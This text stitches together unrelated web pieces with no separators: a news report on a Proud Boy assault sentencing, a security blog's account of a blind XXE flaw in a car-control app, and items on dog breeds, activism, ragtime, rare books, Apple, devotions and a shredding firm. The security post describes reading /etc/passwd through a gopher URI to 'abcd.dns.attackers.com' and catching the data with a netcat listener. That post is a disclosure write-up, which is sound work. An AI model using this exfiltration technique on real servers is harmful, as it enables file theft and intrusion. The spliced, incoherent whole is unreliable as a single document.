Proud Boy member Donovon Flippo gets probation for assault, barred from mass protests in Multnomah County
Donovon Lyle Flippo, 24, entered a guilty plea Friday to a misdemeanor assault charge stemming from a June attack of a man in Northeast Portland.
By Maxine Bernstein | The Oregonian/OregonLive
A Multnomah County judge on Friday sentenced Donovon Lyle Flippo, one of two Proud Boy members charged in a June 2018 attack of a man in Northeast Portland, to two years of probation and ordered him not to participate in any mass protests in Multnomah County.
Under a negotiated deal, Flippo pleaded guilty to fourth-degree assault, a misdemeanor. He must complete 40 hours of community service within six months and have no contact with the victim in the case. He also was sentenced to eight days in jail, which he already served after his March arrest in Clark County.
Although the 2018 assault didn't occur during a protest, it was directly related to protests that have occurred in Portland and turned violent, said Nathan Vasquez, a senior deputy district attorney. Vasquez said he believes the sentence holds Flippo accountable for the crime.
The condition barring Flippo from participating in mass protests in the county "will help ensure public safety'' and help demonstrations remain peaceful, Vasquez said. The judge said the restriction will apply to any protests with about 50 people or more and last the duration of Flippo's probation.
The plea and sentencing come at a time when the mayor and police chief are still struggling with how to prevent dueling demonstrations from dissolving into bloody bedlam. A convergence of protests in downtown on June 29 drew national headlines when conservative writer Andy Ngo was attacked by black-clad demonstrators. The police chief has called for the city to adopt a law banning masks at protests.
Flippo, 24, of Vancouver, didn't address the court. His lawyer, Joseph C. Westover, said Flippo "wants to put this behind him'' and has no lingering ill will toward the victim, 35-year-old Timothy Ledwith. Ledwith suffered stitches to his lip and a mild concussion.
"He expressed regret about what happened,'' Westover said. "He's sorry.''
Ledwith, 35, seated beside the prosecutor, said he felt uncomfortable being in court and would have preferred to be able to talk directly to Flippo to express his thoughts.
Ledwith said he was punched June 8, 2018, by Flippo and Proud Boys member Tusitala John "Tiny" Toese near Northeast 12th Avenue and Broadway in an unprovoked assault. He said he didn't expect the widespread media attention afterward. The assault left him "jumpy'' and concerned about potential threats.
"I was really caught off-guard, and it was really unprovoked,'' Ledwith told the judge. "It just seemed so unnecessary. I'm a lot smaller than those people.''
Ledwith recounted for the judge how he was waiting to cross the street at a stoplight when he saw Toese, Flippo and a third man in a truck stopped at the light. They were yelling things about Trump and shouting "Build the Wall!'' Ledwith said he tried to quietly dismiss them.
Ledwith earlier told The Oregonian/OregonLive that the men in the truck yelled homophobic slurs at him and he later shouted something back at Toese, calling him by his nickname "Tiny.''
When Ledwith got to the other corner, he said he saw Toese and Flippo get out of the truck and rush toward him. Toese questioned how Ledwith knew him and Ledwith said something about seeing Toese lose his "sandal'' at a prior demonstration.
After Toese punched him in the face, Ledwith fell to the ground, hit his head and when he came to, noticed Flippo standing over him. Another witness reported that Flippo also had struck Ledwith, according to Ledwith.
Someone called 911, but police didn't connect with Ledwith until a few days later, when Ledwith contacted police himself. Ledwith said he suffered a minor concussion and went to the hospital, where he received stitches for a split lip.
Ledwith said he later missed a call from a deputy district attorney, and when he called back twice, didn't hear back from a prosecutor until late February when another deputy district attorney contacted him about an hour before Willamette Week ran a story about the alleged assault and the lack of a prosecution.
He told the judge that he initially had a "slight reservation'' about coming forward but did so to ensure other people don't face the same type of assaults.
"I felt like I didn't want other people to be further hurt,'' Ledwith said. "I would just hope this stops those sort of things from now on. ... Hopefully things change.''
After his arrest, Flippo was transferred to Multnomah County and posted bail. He initially was charged with third-degree assault, a felony, and fourth-degree assault.
If Flippo violates his probation, he could face up to a year in custody, the maximum sentence for the misdemeanor assault. If he completes the terms of his probation after one year, his lawyer can ask the court to end his probation.
In early March, Toese posted on his Facebook page that he's in his homeland, Samoa, and "will be back to stand court in Portland,'' but didn't indicate when that would be. He hasn't appeared in court on the charges yet.
Vasquez declined to comment whether there's an active warrant for Toese in this case.
Toese also has a probation violation warrant out for him, stemming from his alleged failure to complete 40 hours of community service stemming from a 2018 harassment conviction in Multnomah County. Portland police arrested him during a protest on Dec. 9, 2017. He was placed on a year of bench probation and ordered to complete the community service. Court records indicate he didn't complete the community service and a warrant was issued for his rearrest in that case in February of this year.
Lindsay Schubiner, a program director for Western States Center, which works to counter white nationalism and promote inclusive democracy, said earlier this year that the center had encouraged Ledwith to file a report after the alleged assault.

After publishing this post, it came to our attention that a number of other researchers had identified and reported the exact same vulnerability. Despite this, the fix still took well over a year. This demonstrates a typical failure of the "responsible disclosure" process. How many others may have identified this vulnerability and what are the chances they all had good intentions?
In the past few years, the security world has heard a lot of buzz about the "Internet of Things". Vulnerabilities in everything from toasters to home automation systems have been demonstrated, lending more and more credibility to "movie hacking" style attacks (check that pool on your roof for leaks).
Following a similar trend, at the BlackHat security conference this past year well known car hackers Charlie Miller and Chris Valasek made a splash with the first fully remote attack against a large number of Jeep vehicles. Their attack relied on the fact that these vehicles head units actually connect to the Internet through the Sprint mobile network – the same network used by Sprint mobile phones. By connecting themselves to this same network, it was possible to identify target vehicles and vulnerabilities in the software that runs on a number of the head units!
Our accidental adventure into car hacking starts before this, back in the days when "car hacking" involved riding in the passenger seat of the "target" vehicle amid a mess of wires, with your computer plugged into the dash. Charlie and Chris recently found a really interesting way into the heart of the car remotely from the Internet. In this post, we'll show that there's more than one way to skin a cat, even if you can't afford a brand new car.
Any story that begins with 4 hackers crammed into a tiny room with nothing to do is bound to end poorly. Unfortunately, that's where this tale begins.
On a sunny July morning in our tiny 26th floor office (office 2600 in fact), our offensive security team had come from all over the country for some face time. In the room were our 4 consultants and a mess of hardware from a failed attempt at building a password cracking machine – one of the projects for the week. These week long gatherings happen only a couple of times per year and are usually scheduled around interesting client projects so that the team can collaborate in person, usually resulting in severe pwnage and lots of new ideas. Unfortunately, due to clients being clients this would not be the case.
After arriving fashionably late, our resident technophile and IoT afficionado, David, began recounting his latest project. Apparently a large vendor of home security products recently installed a new system in his house that operates through mostly off the shelf hardware. A standard 802.11 wireless network is stood up so that sensors and devices can communicate. This network is protected by a WPA2 key that is not provided to the end user – unacceptable to David.
In addition to the glaring risks posed by such a system (exposure of the key generation scheme, trivial denial of service via a microwave oven, etc…), David also mentioned that it came with a cool mobile app so that you could manage your security system remotely!
#Device mon0 must be monitor mode from airmon-ng and script must be run as root.
#To modify to proxy through Mallory, just set the port to the Mallory port (20755).
Next, the "BurpSuite" tool was launched and setup to listen on port 54321. The net effect was that a wireless network called CONNECT_HERE was created. For any device connected to the network, all traffic destined for HTTP related services (ports 80,443,8080, and 8443) would be instead sent to the BurpSuite tool, where it could be inspected, modified, and replayed.
This post isn't about security systems (perhaps another time). It suffices to say that in short order the team found a way to turn off David's (and anyone else's) security system without their password. Fun.
Unfortunately, we didn't get a chance to take a deep look at this application to talk in detail about how it handles authentication, authorization, and registration which would all be very interesting subjects. What we did do was connect it to our "CONNECT_HERE" network and take a peek at the traffic the application was generating.
One of the first things we look for when seeing XML is a vulnerability called XML External Entity Injection or XXE.
XML XXE is a common flaw introduced by application developers when handling parsing of XML input. Any time a web application sends XML to the server, for the server to make use of the data the XML needs to be parsed. This parsing is usually performed with a handful of off-the-shelf libraries.
The simple example above would take the contents of the file "notes.txt" and insert them in the XML document under the "fileContent" tag. Keeping in mind that this code is running on the server and that the untrusted client, or potential attacker, is the one specifying the XML input – I'm sure you can see the problem. An attacker can read arbitrary files and list the contents of directories from on the server's file system. Further, if instead of requesting a local "file://" from the server, the attacker specifies "http://", the server will make an HTTP request to the URL specified.
This in combination with the fact that application servers can be managed over HTTP and that the credentials to those web interfaces often reside in files on the local server often spells disaster. There are a number of other more complex XXE tricks, such as using the Gopher protocol to send nearly arbitrary TCP data, forcing the server to interact with non HTTP services, but we won't get into those here.
An astute reader might see a problem with our previous description of XXE, that's okay, we were just keeping you on your toes. While it is true that we can force the server to read files off of its file system with an HTTP request, we can't necessarily force it to send the results of that reading back to us in the response.
What we can do however is force the server to make an outbound HTTP request to a server that we own on the Internet through XXE. Even if we don't see the result of this request directly, since we own the server at "abcd.dns.attackers.com" we can check our logs to see if it came through; therefore confirming our XXE attack on the target was successful. Even craftier, is for us as attackers to own the DNS server for the domain "dns.attackers.com". When the target machine tries to lookup the DNS record for "abcd.dns.attackers.com" as shown in the payload above, we can see the DNS lookup in our logs. In the event that outbound HTTP traffic is being blocked by the target server, we will still have confirmation of success.
As Justin and Steve sat side by side about to fire off the payload, David and Ketil were tinkering with the cracking machine in the background. On Justin's screen was the SSH session to the server at abcd.dns.attackers.com, monitoring the logs, Steve was running Burp. Neither Justin or Steve really expected this to work, but it was worth trying. Shortly after Steve hit the "Go" button in Burp Repeater Justin yelled "OH SH*T!", indicating success. Ketil and David, taken totally by surprise jumped up to see what all the commotion was about – it's unclear if David even knew we were hacking his car at this point.
If this were a real penetration test (or attack), XXE would only be the first step, the crucial toe in the door. From here the attackers would move into the company's internal network, using this initial machine as a pivot. While not trivial, we have not had a single instance in a real engagement where XXE was discovered and we didn't find some way to leverage it to compromise an internal machine.
Since this was not a penetration test or attack, the attackers just took one more step to demonstrate the severity of the vulnerability during the "responsible" disclosure process. Since most people don't know what XXE is, or how this type of "Blind" XXE can be leveraged to retrieve files, we decided to pull the "/etc/passwd" file from the remote system to demonstrate.
In essence, the target server is being asked to request the resource "gopher://abcd.dns.attackers.com:443/xxe?%file;". In this case though we are leveraging the XXE attack to make sure the "%file" contains the contents of the "/etc/passwd" (or any other) file on the target server. The reason we use the Gopher protocol here is that it is tolerant of strange characters like newlines that would cause an HTTP request to misbehave. With Gopher we can put almost arbitrary content in the URI and have the request go through – pretty great!
So how do we actually receive the contents of the /etc/passwd file? Well if you look closely at the Gopher request, it is being sent to "abcd.dns.attackers.com" on TCP port 443. We can just start a netcat listener and wait for the goods to roll in as shown below!
In theory, at this point the application that receives communication from users' mobile devices, and then relays the commands to their car, is compromised. What does that mean for David and his peers?
This vulnerability likely affected multiple car vendors.
Second – once an application server is compromised, the database almost always quickly follows. The application needs to talk to the database, and credentials for it can be found in configuration files. This means that the complete list of cars and credentials to control them through the application would likely have been available to the attackers.
There are probably many other great features as well, David has since moved onto a new car and we no longer have access to the application for reference.
Even more concerning would be remote attacks against the car's CAN bus. Charlie and Chris had to jump through some hoops to get from the media console to the CAN bus. This application seems to talk directly to systems on the CAN bus to perform the types of operations that it is responsible for. What this means, is that it is possible an attacker could gain full remote control of electronic systems in all affected vehicles.
Our team reached out to the affected vendor, eventually getting in touch with IT security. The issue was described and an official escalation report was delivered. The vendor seemed uneasy and unprepared to deal with such an escalation; however receipt of the report was confirmed.
Fast forward 6 months, our team decided to check on the status of the issue. The saved request was loaded into BurpSuite and sent to the remote server. Sure enough – still vulnerable.
It wasn't until Justin reached out to the vendor again, a full year after the original disclosure, that the vulnerability was actually remediated. The remediation in this case is a very quick fix in the XML parsing code. This is not the first time our team has seen this type of slow reaction from a big company to a critical level vulnerability in high profile software.
Unfortunately the "responsible" in responsible disclosure doesn't always apply to the group responsible for creating the issue, but the one that found it. These experiences lend credibility to vulnerability disclosure policies like Google's "coordinated disclosure" process, where after 3 months the bug goes public regardless.

Australian Shepherds are intelligent working dogs with strong herding and guarding instincts. In fact, they're known to herd anything from birds to kids to other dogs.
Aussies are extremely active and require a lot of exercise. They love taking long walks or hikes with their owners and also make good running companions. Australian Shepherds thrive in canine competitions like obedience, herding, agility or dock diving.
The Australian Shepherd's name comes from his association with the Basque Shepherd Dogs that came to the U.S. from Australia in the 1800s.
The Aussie is a popular breed, appearing at rodeos and horse shows and in movies and TV shows.
Despite its name, the Australian Shepherd originated in the Basque region of Europe and is not registered in Australia as a native breed.
Although the breed has been around since the 1800s, they weren't officially recognized by the American Kennel Club until 1993.
The Australian Shepherd descended from a line of Europe's finest herders. The breed started near the Pyrenees Mountains where the Basques built a reputation as world-class shepherds. In the early 1800s, the Basques began pushing into the continent's vast interior in search of rich pastureland for cattle ranching, eventually sailing east to the virgin Australian continent with their herding dogs in tow.
After building up their flocks, the Basques left for California, in search of better ranching land. California ranchers admired the breed, misinterpreting their place of origin, giving the name, "Australian Shepherd." They've been part of cowboy culture ever since. Working the land isn't their only skill, however. Australian Shepherds are versatile, working as therapy dogs, drug detectors, service dogs and search-and-rescue dogs.
Australian Shepherds are smart, work-oriented and exuberant. This breed is usually even keeled and good natured.
The Australian Shepherd has a waterproof, double-layer coat that requires weekly brushing sessions. During shedding season, they require more brushing with an undercoat rake to remove dead hair.
Australian Shepherds are a generally healthy breed, but they do have some health concerns, including hip dysplasia, epilepsy, cataracts and certain forms of cancers.
Since Australian Shepherds are an active breed, they may benefit from a sport dog food to maintain their ideal body composition.
When choosing a food for your Australian Shepherd puppy, look for a formula with DHA to nourish brain and vision development and antioxidants to support their developing immune system during their first year of life.

Peoples' Global Action (PGA)
PGA is an example of a transnational grassroots social movement. Born out of the solidarity with the EZLN (Zapatistas) meetings that first took place in Chiapas in 1996 the PGA is less an organization and more a loose collective of autonomous activist groups who have a set of mutually agreed upon principals (known as the Hallmarks).
The PGA Hallmarks
A very clear rejection of capitalism, imperialism and feudalism; all trade agreements, institutions and governments that promote destructive globalisation;
We reject all forms and systems of domination and discrimination including, but not limited to, patriarchy, racism and religious fundamentalism of all creeds. We embrace the full dignity of all human beings.
A confrontational attitude, since we do not think that lobbying can have a major impact in such biased and undemocratic organisations, in which transnational capital is the only real policy-maker;
A call to direct action and civil disobedience, support for social movements' struggles, advocating forms of resistance which maximize respect for life and oppressed peoples' rights, as well as the construction of local alternatives to global capitalism;
5.An organisational philosophy based on decentralisation and autonomy.
The activist groups that came together to draft the Hallmarks represented people from both the global South and North. The document reflects the different ways in which the alter globalization struggle is practiced and oriented across the globe while recognizing the common threads that bind activist struggles worldwide.
PGA has no physical or legal structure. It puts the idea of decentralization and autonomy at the core of its philosophy. It cannot be represented by any individual or organization and the PGA cannot be said to represent any individual or organization. Activist groups can, however, adopt the Hallmarks and employ this analysis in their own practice. Many groups have taken on these Hallmarks.
In India one of the first groups to adopt the PGA hallmarks was the Karnataka State Farmer's Union. They are best known for their successful campaign against genetically modified crops. They were one of the groups that were present in original meetings and were in part responsible for adding language about combating feudalism to the hallmarks.

"Zez Confrey at the Keys"
This recording was made in New York City on October 13th 1922 featuring Zez Confrey piano & director, backed with orchestral accompaniment.
*"All Muddled Up" was composed by Zez Confrey.
Popular pianist and composer Edward Elzear "Zez" Confrey was born in Peru, Illinois in 1895.
Abandoning his aspirations of becoming a concert pianist in favor of composing, by 1916 Zez took a job at Witmarks in Chicago as a staff pianist.
After World War I the young pianist found employment as an arranger with the QRS piano roll company.
In 1921 Zez Confrey wrote and published his novelty piano solo "Kitten on the Keys", inspired by the sound of his grandmother's cat walking across the keyboard of her piano. -The piece became an instant success and would inspire the composition of many others.
"Dizzy Fingers" (1923) was Zez Confrey's only other big hit.

Industry bodies and the common bonds that tie the antiquarian book trade together
From the earliest days a common bond has bound the antiquarian book trade together. And, more than ever, professional standards matter.
Roland Arkell
A print hanging in the London office of the Antiquarian Booksellers' Association (ABA) gives a glimpse – perhaps an idealised one – of how the book trade used to be.
The venue is Wellington Street, just off the Strand. The date is 1888 and the scene is a book auction at Sotheby, Wilkinson & Hodge.
An inscription to the margin identifies 16 of the bearded gentleman present as the leading booksellers and collectors of the period – men that 18 years later would meet over lunch at the Criterion restaurant in Piccadilly to create what would become the art and antique trade's most venerable association. Those badges displayed today by dealers of all descriptions began here.
Today's members of the ABA operate in a marketplace that would be scarcely recognisable to a Victorian or Edwardian bookseller.
The closure of much-loved bookshops, the movement of the trade online and Doomsday predictions surrounding an ageing collecting audience all vex the grey matter.
And yet the concerns over professional standards that prompted the foundation of the ABA (or the Secondhand Booksellers' Association as it was first called) are more relevant now than ever.
With the advent of the internet, anyone with access to a computer and a few books can set up as a rare bookseller.
It is a common refrain that there are more people selling books than ever before but fewer people selling good books.
The issue when buying from aggregator sites such as eBay or AbeBooks is not that you will send your money and get nothing in return, more that a book from an inexperienced seller may be incorrectly described.
Many leading booksellers want to send a clear message that their books are catalogued with expertise, excellence and experience. Currently the ABA is pushing to have its own designated 'members only' space on Abe.
"A good bookseller is more than a merchant: they are a source of advice, encouragement and accumulated wisdom"
The internet has impacted collecting in this sphere in other ways.
With more collectors and dealers having direct access to more old books than ever before, prices at the lower end have dropped significantly. It is a bête noire of dealers to see a potential buyer reaching for a smartphone to check if a book is available for less elsewhere. With more competition, it no longer pays to be a purveyor of the ordinary.
More profoundly, while the collecting instinct remains, what people choose to collect is in a state of flux.
Tastes were once dictated by what dealers and their established customers thought was worth cataloguing. Now, as the cupboards of the 20th century are cleared, it could be a wartime map or a favourite childhood novel that fires the modern imagination more than a leather-bound classic of 18th century literature.
If some older members of the dealing fraternity come to this debate with a lot of baggage, then a generation of 'born digital' traders is now emerging keen to tap in to the explosion of interest in material and visual culture that the internet has spawned.
Camilla Szymanowska, ABA secretary, observes: "It is necessary to look horizontally at what you might sell. But the roactive type of bookseller has adapted well to these subtle changes in taste."
The advent of the portal site two decades ago had provoked polarised reactions within the rare book trade: that dealing and collecting would wither as a way of life; and that the global marketplace would be a cash machine for savvy traders. Neither prognosis has proved wholly accurate.
It is still predominantly at the fair and in the shop where dealers meet clients and establish the brand loyalty that can so often be lost when they are just another trader on a computer screen.
As Rich Rennicks, writer for the Antiquarian Booksellers' Association of America, puts it: "A good bookseller is more than a merchant: he or she is a source of advice, encouragement, and accumulated wisdom. A trusting connection to a dealer will yield the best collecting results."
Organising fairs and seminars on book collecting, where dealers and customers can meet face-to-face, remains a key part of what associations do and are a primary draw for many members.
The ABA has run fairs for its members since 1958 (the first London Antiquarian Book Fair held at the National Book League in Albemarle Street). Its prestige events have been complemented since the 1970s by the galaxy of more down-to-earth shows organised by The Provincial Book Fairs Association (PBFA).
Relations between the two camps were not always harmonious but the 'us and them' mentality has begun to fade in recognition of a common cause. Many UK booksellers are members of both associations.
For the second time, this year's two major 'competing' London summer events – the ABA fair at Olympia (June 1-3) and the PBFA's flagship event at the ILEC Conference Centre in SW6 (June 2-3) – will be joined by others under the marketing umbrella Rare Books London. May 23-June 12).
International Liaisons
Promoting London as a 'destination' for bookish culture is designed to appeal beyond the traditional buying audience.
It was repeated in March for the first Rare Books Edinburgh festival centred around the Edinburgh Book Fair, opened by bestselling author and king of 'tartan noir', Ian Rankin.
It was the Scottish fair that first pioneered joint activity between the ABA and the PBFA – a model which was later used in Dublin and is now being tried in Bristol (June 30-July 1). The result is a broad brush of dealers from top London names to local members.
In this unique space there is surely more to unite associations than divide them.
An international umbrella organisation for rare book dealers is 70 years old this year. The International League of Antiquarian Booksellers was originally conceived by then Dutch association president, Menno Hertzberger, who, as a Jew, had spent part of the Second World War in hiding.
He dreamed of common ground and understanding: "Five long years of war had put up barriers between nations," he recalled. "This enforced chauvinism or worse, hatred. Only through mutual interests could nations be brought together." For antiquarian booksellers, the mutual interest was books.
ILAB's core principles of establishing open markets and fostering friendships were first agreed in 1947, and then formally incorporated in Copenhagen in September 1948. The 10 founding countries have since been joined by a dozen other national associations.
The 42nd ILAB congress in Budapest last year (the next will be held in February 2018 in Pasadena) adopted an idea put forward by Sally Burdon of the Asia Bookroom in Canberra, and Massachusetts dealer Stuart Bennett. They designed an international one-to-one mentoring programme to plug a gap that has opened since 'first rung of the ladder' opportunities for would-be book dealers have declined.
Burdon, described by a colleague as "probably the most important woman in the book trade", is keen to harness the goodwill of ILAB's 2000-plus members across 32 countries. "There is nothing new about this. Throughout the history of the trade booksellers have helped each other," she says. "But as large bookselling firms grow fewer, apprenticeships are on the wane."
"Throughout the history of the trade booksellers have helped each other"
In this day and age, Burdon reminds us, communication across the world is easy and inexpensive. "We can now envisage a Dutch mentor supporting a young American bookseller, an American mentor helping a young Russian bookseller or an Australian mentor chatting regularly with their mentee in Malaysia."
In the rare book trade the image of Victorian Englishmen in Dickensian surroundings has been a difficult one to shake. But slowly it is happening.

What does risk mean in a broader sense? As part of the Partners for Resilience (PfR) programme, we're exploring the question of Integrated Risk Management, a multi-disciplinary approach combining disaster risk reduction, climate change adaptation and ecosystem restoration at the same time. The partnership aims to build capacity of target communities to engage with this concept.
SEEDS is implementing this approach in seven gram panchayats of Saharsa District, with a focus on water risks and a multi-sectoral approach for managing disasters.
Each panchayat has now developed an IRM plan.
Specific activities facilitated under the programme vary from community-based early warning systems to the development of long-term vulnerability plans. Another key aspect to the programme is the generation of strong social capital. A citizen forum was formed at the district level with members coming from all walks of life.
The activities are helping take into view the larger perspective of landscape and long-term risk analysis. For example, the panchayats have developed seasonal calendars to assess climate related risks in general and livelihoods in particular. These track seasonal changes and climate-related hazards, helping plot seasonal farming activities.
The changes in mindset are visible. Individuals are establishing linkages with available developmental schemes and policies. These are being leveraged for uses from a new ponds construction scheme (artificial wetland) to planting trees under Krishi Vaniki Yojna (a scheme to promotes agroforestry among local farmers).
IRM is also being integrated in how panchayat development plans are prepared.
The initiative continues to improve preparedness to prevent losses. It's exploring the protection of natural wetlands as buffers against floods. Ultimately, it's a step toward building harmony between people and their environment.

Finally, the Toynbee tiles. These are tiles that have been embedded into roads in New York, up and down the East Coast, and as far away as South America for many years. Toynbee was an English historian, and his name appears on these plaques. Exactly what they mean, who's doing them, what the references to Stanley Kubrick and the planet Jupiter signify, remains a mystery.

Apple: Stuff Ups, Mistakes, and Finally Moving Forward?
Mark Cipolla
With the announcement that Apple recently made, a number of developers will jump for joy: Apple has released the Review Guidelines publicly, displaying the rules by which apps will be judged before they make the App Store (if indeed they make it there at all). Apple has also loosened restrictions on using Adobe Flash to build iPhone apps (which, for a while, has been banned).
For a long time, the Review Guidelines were kept secret, and the fear of the iPhone developer was that, after spending time, energy, and money building an application, they may never see that app accepted to the store. Apple's stranglehold seemed to be random at best; "fart" apps would be accepted while high-quality apps were denied.
The Review Guidelines, thankfully, are written quite informally: "We have over 250,000 apps in the App Store. We don't need any more Fart apps."
Some of the guidelines are more or less common sense. For example, "We have lots of kids downloading lots of apps, and parental controls don't work unless the parents set them up (many don't). So know that we're keeping an eye out for the kids." Others urge developers to polish their apps by stating that "amateur hour" apps will be excluded. One of the good news items of the guidelines, mixed with a warning, is: "if your app is rejected, we have a Review Board that you can appeal to. If you run to the press and trash us, it never helps."
Previously, apps were being denied for innocuous reasons: Pulitzer-winning satirist's apps were denied for being "defamatory", while Apple's Director of Applications technology could release "fart, poop, and wiz" apps to his heart's content.
This issue is not about which app gets approval over others; it's more that Apple has held its cards too close to its chest. The people being punished were the developers, who were made to jump through hoops to build and expand Apple's quite lucrative app store.
Then along came Google.
The Android Market delivered a free, open marketplace for which we could build apps. This double-edged sword means two things: the quality may waver, but nobody has big brother deciding what goes live. Moreover, with an open marketplace, app development can better take its course: if bugs are found, or improvements are made, the application can be distributed to its users more quickly, without needing another round of approval — and with it, the risk of having the app pulled from the App Store.
Secondly, the restrictions on the use of cross-device, non-Apple development platforms promises to bring about a new range of mobile applications. The develop-once-deploy-many model makes sense for large organizations: it leaves developers to write the app once, and deploy to iPhone, Android, Symbian and any other devices the platform will support.
In my opinion, this was obviously a ploy by Apple to close the App Store to Adobe Flash-originated apps, and an attempt to shut Adobe out of the market.
But there were other exciting platforms (rhomobile, Appcelerator Titanium), that showed much promise. At the time, these weren't options for developers — since they weren't written in Xcode, those apps may never have seen the light of day.
Google's company ethos is "Do no evil". Apple, however, has shown its colors by making the lives of its platform's developers difficult. This seems to be changing — undoubtedly in response to Google's significant entry into, and success in, the market. Kudos to Apple, but it took a long time to get here.
What do you think? Is it Google or Apple for you?
Mark Cipolla is a web guy at heart; front-end design and coding (with xhtml/html5/css with a touch of javascript) meets programming (Ruby on Rails and a touch of PHP).

Do I sow righteousness in peace?
We zoomed in on the wisdom that is from God in verses 17-18.
Let's continue to see what God says about wisdom that is from Him.
What are the characteristics of God's wisdom?
What are the results of God's Wisdom?
Let's pick up where we left off yesterday in verses 17-18, and LOOK at the results of God's Wisdom.
Fruit that is harvested becomes a seed for the next planting.
There are several here that I wanted to check out!
Fruit, karpós; is produce. (II) Metaphorically, fruit, meaning: (A) Of deeds, works, conduct (Matt. 3:8; 7:16, 20; 21:43). (B) For effect, result (James 3:17). (C) By implication, for profit, advantage, good (James 3:18).
Righteousness, dikaiosúnē; of character, conduct, etc. of doing what is right. Internal, where the heart is right with God, piety toward God, and hence righteousness, godliness (Mt 5:6,… Jas 3:18).
Sown, speírō; is to scatter seed.
Peace, eireânē; quietness, rest. (I) Peace, particularly in a civil sense, the opposite of war and dissension (Lk 14:32; Ac 12:20; Rev 6:4). Among individuals, peace, harmony (Mt 10:34; Lk 12:51; Ac 7:26; Ro 14:19; Heb 7:2).
TIP: Let's not forget to take the meanings back to the text.
Understand: We reap what we sow.
A farmer works hard to sow corn, reaping corn, not peas.
How do those who make peace (peacemakers) make peace?
What do those righteous acts reap?
more fruit of righteousness and peace.
We see: we must work hard (think before we speak and act) to sow (scatter) seed of righteousness in peace, and that seed bears fruit of righteousness in peace, and the cycle continues.
Isn't this ever so cool?
Let's see what else God says about this fruit of righteousness in peace.
We learned early on that we lay hold of Christ's righteousness by faith, (Rom 3:22).
1. What are those of the faith filled with?
2. What else do we learn about righteousness?
We see: we hunger and thirst for righteousness, and it is produced in us by the Spirit.
3. What do you learn about righteousness and peace being linked together?
Understand: God's wisdom has everything to do with righteousness and peace. Being right with God and right with man then there is peace.
Is righteousness being produced in my life?
Am I working hard to sow righteousness in peace? How so?
What do I do when someone comes against me, persecutes me, speaks evil against me?
we will earnestly work to be peacemakers.
Be quick to hear. . .
God's Word can change any anger issues we have.
Let's Sum Up James 3:17-18!
Then, peaceable, gentle, reasonable, full of mercy and good fruits, unwavering, without hypocrisy.
The Result: the fruit of righteousness is sown in peace.
We are to sow righteousness in peace in the midst of our trials (circumstances and situations).
3. But we fulfill the Royal Law.
Understand: Our behavior and our words prove if we have the wisdom of God.
1. Which of the characteristics that are 'worldly wisdom' do I struggle with?
How will I guard against them?
2. Which of the characteristics that are 'Godly wisdom' do I need to work on?
Talk to God, He loves you so much!
He is right there to help you, and me too!
OH FATHER GOD, we want to bless Your name forever and ever, as Daniel did. For wisdom and power belong to You. You change the times and the epochs; You removes kings and establishes kings; You give wisdom to wise men and knowledge to men of understanding. You reveal the profound and hidden things; And know what's in the darkness, for light dwells with You, (Dan 2:20-22). Oh, reveal to us the condition of our hearts? Please forgive us when we have not been wise in our trials, failing to be peacemakers; failing to be gentle and reasonable; failing to show mercy toward others; guilty of being hypocritical and judging others. Oh Father, forgive us for the many times we have not sowed the fruit of righteousness. Father, help every single one of us. Oh, may all of us work hard to sow the fruit of righteousness. May we do what is right with You and others, pouring out that love and mercy to others that You have poured out on each one of us! May we be peacemakers, pleasing in Your sight! Oh Father, thank you for Your wisdom that has been given to us in Christ, in whose name we pray and ask these things. Amen!
Don't you love: your time with the Lord; learning to hear Him speak directly to you His Words of Wisdom?
Next: We will wrap up these 2 kinds of wisdom, pulling everything that we have learned together so we can live our lives according to God's wisdom, not man's.
James 3:17 God's Wisdom: Is Unwavering, Without Hypocrisy – Part... James 3:13-18 IT'S A WRAP! How Do I Reflect the Wisdom of God?

As readers of my columns have observed, I believe that ministry entrepreneurs are serving a significant role in Kingdom work today and will continue to do so in the future.
I have had the chance to meet such creative people and to learn from them. These gifted men and women have cast many of the old paradigms aside and are taking advantage of the new resources in our evolving context.
They learn not only from traditional Christian sources but from the marketplace as well.
As a result, the ministry entrepreneur may find himself or herself alienated from familiar support structures.
Second, collaboration is key. The ministry entrepreneur must seek out spaces of collaboration in his or her work.
These may be groups or individuals with similar interests, potential stakeholders, agencies and institutions, nonprofits, and some churches and judicatories.
Although the entrepreneur has a vision, there are others who may share that vision.
Once a ministry leader clearly stakes out his or her calling, resources may come from the most unexpected places.
Robert Parham of EthicsDaily.com has sought and found new partners and funding to further the work of his organization, some from outside the Baptist world. This does not happen by chance but requires initiative and persistence.
Too often we offer people help in such a way that they cannot effectively use it. My friends, Emily and Eliot Roberts at Neverfail Community Church, helped me to understand that someone may be in need but they are not powerless.
Their dignity must be respected, their responsibility honored and their personal resources accepted.
For ministry entrepreneurs this means not only giving priority to family and health needs but attending to their spiritual health as well.
Since they often operate outside the doors of a traditional church, ministry entrepreneurs can easily neglect their own involvement in the community of faith as well as their spiritual development.
I have to admit that this is not limited to entrepreneurs. There are many pastors and other clergy who never really worship because they are absorbed in leadership details.
Every person involved in ministry is tempted to shortchange their own spiritual health.
Fifth, get your tribe to evangelize for you. Ministry entrepreneurs need to discover people who want to be part of the solution to the problem they have identified and then encourage these stakeholders to share the word.
State Cooperative Baptist Fellowship organizations have struggled in many situations because key leaders – including many pastors – may believe in the vision that the organization embraces but they have not taken a public stance of support.
The ones who do so make a difference and multiply the work of state leadership. They become the evangelists.
Six, marketing is storytelling. "Find your story, and tell it well," Diaz-Ortiz says.
Vision can tend to be distant and abstract from the daily experiences of people. We have to put a face on a ministry. When we find simple, succinct examples of where a ministry has made a difference, we need to tell that story.
"Telling the story" does not mean that we create something but that we talk about what we have seen. We deal with specifics, not abstractions.
Wayne Smith, who directs Samaritan Ministry in Knoxville, is very proficient in telling the stories of HIV-AIDS victims and their families while respecting their privacy and personhood.
He understands that we will not support ministry to anyone until we see them as people made in the image of God.
A new ministry does not start in a vacuum. There are both challenges and opportunities in every situation.
The ministry entrepreneur must carefully identify both obstacles and resources. Starting something new is not for the faint of heart, but it can produce great rewards for the Kingdom of God.

About Rapid Green Group
We are proactive, partnership-oriented, and offer comprehensive and creative solutions to meet your specific needs.
We opened our doors in 1999 in Grand Rapids, Michigan as Rapid Shred. Our focus was on information security, even before HIPAA and subsequent regulations had taken their full effect in the healthcare industry.
Environmental Savings
Last year Rapid Green Group recycled more than 10,000 tons of paper, which resulted in:
• saving more than 170,000 trees
• saving 30,000 cubic yards of landfill space
• creating about 38 MILLION rolls of tissue paper!
To meet growing demand, we added specialized equipment and services to solve customer problems, continuing our focus on high quality service and security. In 2015, Rapid Shred became Rapid Green Group to better encompass our breadth of waste-management solutions.
How a new process helped reduce hospital waste
